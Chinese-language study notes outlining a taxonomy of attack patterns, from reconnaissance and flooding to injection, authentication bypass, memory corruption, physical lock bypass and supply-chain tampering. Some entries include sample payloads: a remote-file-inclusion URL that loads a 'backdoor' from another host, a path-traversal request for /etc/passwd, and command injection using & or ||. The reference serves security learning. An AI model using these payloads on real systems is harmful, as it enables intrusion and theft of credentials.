攻击模式总结
1. 信息收集
1.1 信息挖掘(Excavation)
通过提交语法错误或非标准输入、标准输入,引发服务异常、获取出错信息,借此分析服务配置信息、数据库消息、潜在漏洞等
- (1) JavaScript Hijacking: 窃取邮件联系人(Gmail)
- (2) 目录索引(HTTP请求)
- (3) 惯例地址资源获取(如Unix系统/etc下配置文件)
- (4) 跨域请求询问(Cross-Domain Search Timing)
- (5) 模糊查询(Fuzzing Queries):Google Hacking
1.2 信息窃听(Interception)
- (1) 网络嗅探(结合ARP、DNS欺骗等)
- (2) 访问/窃取/修改 Cookie
1.3 踩点(Foot printing)
探测目标系统的组成、配置、安全策略(开放端口、服务及版本、网络拓扑结构)
- (1) 主机发现(Host Discovery):ICMP/TCP/UDP Ping
- (2) 端口扫描(Port Scanning):TCP/UDP Scan
- (3) 网络拓扑映射(Network Topology Mapping):Traceroute 路由枚举、DNS 区域转换
- (4) 后门程序内部侦查(后渗透阶段探测)
1.4 指纹收集(Fingerprinting)
- (1)操作系统旗标识别
- (2)应用识别(Web应用、浏览器等)如挂马条件下,同时需要知道多种信息如os环境、浏览器版本等
1.5 社交信息收集
- (1)调研;
- (2)垃圾搜寻;
- (3)社会工程(客户服务、技术支持、快递员、电话);
- (4)传统渠道(公司网站、DNS 记录、社交媒体)、非传统渠道(企业专家、内部人员、偷听员工谈话)
2. 资源耗尽
2.1 洪泛攻击(Flooding)
TCP、UDP、ICMP、HTTP、SSL、XML Flood(DDOS)
2.2 过度资源分配(Excessive Allocation)
- (1)内存、带宽、处理器周期;
- (2)XML载荷嵌套
- (3)XML超大载荷(Oversized Payloads)
- (4)正则表达式指数爆破
- (5)SOAP数组爆破
- (6)TCP/UDP/ICMP分片
2.3 资源泄漏(Resource Leak Exposure)
- 重复引发资源泄漏(Memory或其他可保留占用资源),如日志文件占满磁盘空间
2.4 客户端持续资源占用(Sustained Client Engagement)
- 重复请求或持续占用资源,排斥其它合法用户,如所网审批流程
2.5 请求放大(Amplification)
- 伪造被攻击者提交请求给第三方,第三方发送大数据量响应包给被攻击者,利用攻响应包比请求包大的特点,如公开DNS解析、NTP MONLIST命令,DRDOS效果更佳。(Smurf 、Fraggle)
3. 注入
通过提交精心设计的输入数据控制或破坏被攻击目标的行为
3.1 参数注入
- 参数编码采用文本字符隔离,如HTTP GET,邮件,格式化字符串等
http://xx.com?ueser=adm & pass=1
3.2 代码包含
- (1)远程、本地,如PHP文件包含 http://xx.com/main.php?country=china china.php将被复制到main.php中并得以执行 http://xx.com/main.php?country= http://yy.com/backdoor backdoor.php将被复制到main.php中并得以执行
- (2)本地文件包含(LFI)同理: 在服务器上可能有一些通过正常途径无法访问的敏感文件(如访问路径/admin的请求、一些静态资源)
3.3 代码注入
如SQL、XSS等
http://xx.com?ueser=adm & pass=1
select * from db.tables where user==adm and pass == 1
3.4 指令注入
网页提供调用OS命令接口,如Ping 同时可以通过&或||绕过
4. 交互欺骗
4.1 路径遍历(Path Traversal)
http://xx.com/getUserProfile.jsp?item=../../../../etc/passwd
4.2 内容欺骗(Content Spoofing)
网页、邮件、文件传输等(源、传输途中的中间人攻击,如ARP欺骗后的内容参数替换)
4.3 身份欺骗(Identity Spoofing):如钓鱼攻击
4.4 资源位置欺骗
库访问重定向(文件链接symbolic link、库查询路径、DLL搜索劫持)
4.5 行为欺骗:如冒充管理员向厂商咨询技术细节
4.6 软件完整性攻击
4.6.1 恶意软件下载
攻击者使用欺骗手段诱使用户或自动更新进程从攻击者控制的源头下载并安装恶意程序。
4.6.2 恶意软件更新
攻击者使用欺骗手段(配合心理或技术机制)伪装更新或下载源。
5. 时序与状态操纵
5.1 强制死锁(Forced Deadlock)
- 重复尝试用错误密码登陆,导致合法用户账户被锁定
5.2 竞争条件利用(修改竞争资源)
- 如一个多线程应用程序对同一数据进行操作时。
- 使用同一用户名创建多个用户帐户(OWASP P152)
5.3 检查时间(TOC)和使用时间(TOU)竞争条件
如12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确实在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短
5.4 跨域查询时序利用(Cross-Domain Search Timing)
如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。
5.5 用户状态操纵
- 会话劫持
6. 功能滥用
6.1 API 滥用
- 如攻击者借用微软的BHO(浏览器辅助对象)的“合法身份”,来达到浏览器劫持。
6.2 遍历应用开关和选项
- 禁用管理/调试接口,如管理web应用的插件FCKeditor等
6.3 缓存中毒
- web browser cache、DNS/ARP cache,如JS投毒,受害者浏览器缓存机制缓存了一个被攻击者篡改的JS代码,每次访问网页时都会加载的js脚本(缓存时间长、加载频率高),类似Rootkit。
6.4 Evercookie
- 攻击者创建永久cookie,通过Server发送给客户端的多个位置,可实现自我恢复
6.5 目录遍历(Directory Traversal)
- 同上../../../etc/passwd
6.6 通信信道参数滥用
- 服务器安装过程中的错误配置导致被强制使用弱加密
6.7 透明代理滥用
- 非认证透明代理使用过程中,传输内容可能被篡改
6.8 URL替换成文件路径
http://www.example.com/url1暴露了url1的目录结构
6.9 强制浏览
- 探测未公开网页或服务,如默认的管理目录xx/yy/upload.jsp
6.10网络服务接口扫描(WSDL Scanning)
- 如隐藏在网页XML格式中的服务接口,默认的后台配置页面等
7. 概率技术
7.1 暴力破解(密码、口令)
7.2 临时文件筛查敏感
- 如网页浏览器临时文件如cookie中暴露密钥
7.3 模糊测试(Fuzzing):
- 随机结构化输入黑盒模糊测试,发现系统漏洞、绕过WAF等;
- blind fuzz、smart fuzz;
7.4 修改/猜测客户端令牌参数
- Cookies, URLs, data files 缺乏机密性、完整性保护机制
8. 认证攻击
- 利用认证机制的弱点、限制、安全性假设
8.1 认证滥用(Authentication Abuse)
- 利用认证机制本身或其实现缺陷,获取应用或服务的非法访问权(如密码重置弱点、CAPTCHA应用破解) ##8.2 认证旁路(Authentication Bypass)
- 如SQL注入绕过认证
8.3 可信凭据利用(Exploitation of Trusted Credentials)
- (1)非加密信道会话令牌窃取;
- (2)会话凭据伪造;
- (3)会话重放(Session Replay);
- (4)会话固定:使用攻击者提供的Session; 当用户成功通过验证而应用程序不更新cookie时,攻击者就能找到会话固定漏洞并迫使用户利用已知的cookie
- (5)跨站请求伪造(CSRF):攻击者精巧制作恶意网络链接通过邮件、网页等形式发给用户,诱使用户点击,利用用户的合法权限实施攻击或获取用户身份信息。
9. 授权攻击
9.1 权限提升
- (1)浏览器跨域攻击; 攻击浏览器的同源策略,任何子域名站点的XSS可以影响整个站点
- (2)上传并/或执行文件(Web,ftp);
- (3)Restful Privilege Elevasion;
- (4)修改可写配置文件
9.2 权限滥用
- (1)访问控制策略漏洞(Web Apps);
- (2)XML外部实体引用; 利用Xml解析库支持使用实体应用,原理类似于远程文件包含(RFI)与本地文件包含(LFI)的方式
- (3)WebView Exposure; 在程序中装载webview控件,主要用来控制浏览器,设置属性(颜色、字体)等。但webview下的一个控件addjavascriptinterface,能实现本地java和js的交互。攻击者可实现穿透webkit控制主机。
9.3 客户端不可见
- (1)移除客户端输入/输出过滤逻辑;(只在客户端防御,通过代理截获篡改)
- (2)客户端令牌(Token)操控;
- (3)客户端用户控制数据操控;
- (4)中间人攻击
9.4 特权进程劫持
- 特权进程(属于特定用户、组、角色)
- Rootkit、DLL注入等
9.5 特权异常处理捕获(Subvert Code-signing Facilities)
9.6 特权线程执行劫持
9.7 颠覆代码签名模块
9.8 提权应用利用
10.操纵数据结构
10.1缓冲区操纵
- 获取或提供超过缓冲区边界的输入,从而读取或覆盖非预期的程序空间,导致提权或任意代码执行
10.2共享数据攻击(Shared Data)
- 修改多个进程(线程)共享的数据结构(R2L)
10.3整数攻击
- 结构体中有符号整数溢出(两个正整数相加得到一个负整数)
10.4指针攻击
- 修改应用的指针使应用访问未预期的内存,导致应用崩溃或执行任意代码,如Use After Free
11.操纵资源(Manipulate Resource)
- 资源类型:文件、应用程序、库、infrastructure、配置信息
- 结果:破坏服务、执行任意代码
11.1操作输入数据
- (1) Web Server Misclassification:在合法请求后面附加恶意信息(标点、文件扩展名),服务器根据扩展名而不是内容,执行非预期操作
- (2) Leverage Alternate Encoding
- 0Double Encoding(二次编码,绕过过滤器Filter)
- Leading ‘Ghost’ Characters(绕过过滤器Filter, targeted APIs ignorethem)
- Exploiting Multiple Input Interpretation Layers: 提供包含特殊字符序列的输入绕过输入有效性检查逻辑
- Embedding NULL Bytes:图片木马
- Slashes(/)和URL编码
11.2资源位置欺骗
- 库访问重定向(文件链接symbolic link、库查询路径、DLL搜索劫持)
11.3网络基础设施操控(Infrastructure Manipulation)
- (1) DNS缓存投毒(DNS污染)
- (2) 域欺骗攻击(Pharming Attack):通过弱口令、CSRF或其它漏洞更改路由设备DNS配置,重定向至攻击者DNS服务器。(DNS劫持)
11.4文件操作
- (1) 伪造文件名或扩展名欺骗服务器执行
- (2) 访问、修改、执行可执行文件
- (3) 创建与受保护文件同名的文件(库或配置文件),先于受保护文件被搜索到
- (4) 应用程序文件(Office, PDF 等)中注入恶意载荷,通过邮件或网络传播的鱼叉式钓鱼攻击
- (5) 应用被强制打开畸形的文件,造成拒绝服务攻击
- (6) 非可执行文件(配置、资源文件)中嵌入可执行代码(jsp)
- (7) 二进制资源文件(mp3, jpeg)缓冲区溢出
- (8) 文件可控的文件名:文件名中插入恶意字符(XSS redirection) ,引导客户端访问攻击者控制的网站
11.5变量修改
- (1) 利用复位函数使应用恢复到弱安全性状态
- (2) 修改环境变量:通过目标应用传递到文件系统调用,访问非授权区(如pwd文件)
- (3) 全局变量修改(缓冲区溢出或路径遍历攻击的前向攻击)
- (4) 控制文件系统调用输入
11.6配置或环境修改
- 攻击者通过修改目标应用的配置文件(或库)进而影响应用的行为。如修改注册表、可写配置文件、阻止对库文件的调用使系统可能进入可被利用的不安全状态。
11.7交易数据结构滥用(Abuse of Transaction Data Structure)
11.8审计日志修改
- 修改、删除日志记录掩盖入侵痕迹
11.9Schema Poisoning
- 修改客户端和服务器交互的XML 结构或内容实施攻击(DOS)
11.10 协议操纵(Protocol Manipulation)
- (1) 利用MS NTFS Alternate Data Streams(ADS)隐藏工具、脚本等,躲避常规系统工具的扫描
- (2) 客户端-服务器协议操纵:HTTP Request/Response Splitting、XSS(替代语法、编码URI)、认证协议反射攻击
- (3) DNS Rebinding(篡改本地hosts)
- (4) 跨组件通信协议、数据交换协议
- (5) 网络服务协议(XML External Entities、SOAP)
11.11 访问/劫持/修改 HTTP Cookies
- 利用Cookie 存储凭据、状态信息、关键数据
11.12 污染(Contaminate)资源
- 如网页挂马、软件捆绑恶意代码
12.目标分析
12.1 逆向工程(Reverse Engineering)
12.1.1 黑盒逆向工程
- 软件破解、漏洞挖掘与利用等(操作系统关键模块的逆向,如Windows msvcrt.dll)
12.1.2 白盒逆向工程
- 代码评审,如strcpy边界检查等
12.2 协议分析(Protocol Analysis)
- 网络协议分析(Oracle、QQ等)、编码协议(base64)、密码分析等
#13.获得物理访问
13.1物理安全旁路(Bypassing Physical Security)
- (1)撞锁技术开锁(Lock Bumping)
- (2)撬锁工具(Lock Picking Tools):Snap Gun
13.2电子锁和访问控制旁路
- (1)克隆磁条卡(Cloning Magnetic Strip Cards)
- (2)磁条卡蛮力攻击:对多个卡进行差分分析,制作新的有效卡,访问其他未授权区域
- (3)RFID卡复制(被动无源设备,天线收到信号后驱动芯片足够长的时间,发出response 响应码)
- (4)RFID 芯片失效或破坏(电磁脉冲破坏)
14.修改系统组件
14.1 制造环节攻击(Modification During Manufacture)
14.2 发布环节攻击(Manipulation During Distribution)
14.3 恶意逻辑植入(Malicious Logic Insertion)
14.3.1 恶意逻辑植入到硬件
- (1) 通过专用硬件设备对系统现有组件的修改(需要物理接触系统)
- (2)生产制造(供应链环节)中植入伪造元件,如伪造路由器、交换机、网卡,键盘记录器
14.3.2 恶意逻辑植入到内存
- (1) USB Memory Attacks:Bad USB漏洞
- (2) Flash Memory Attacks:BIOS 攻击,存储卡芯片Trojan,嵌入式设备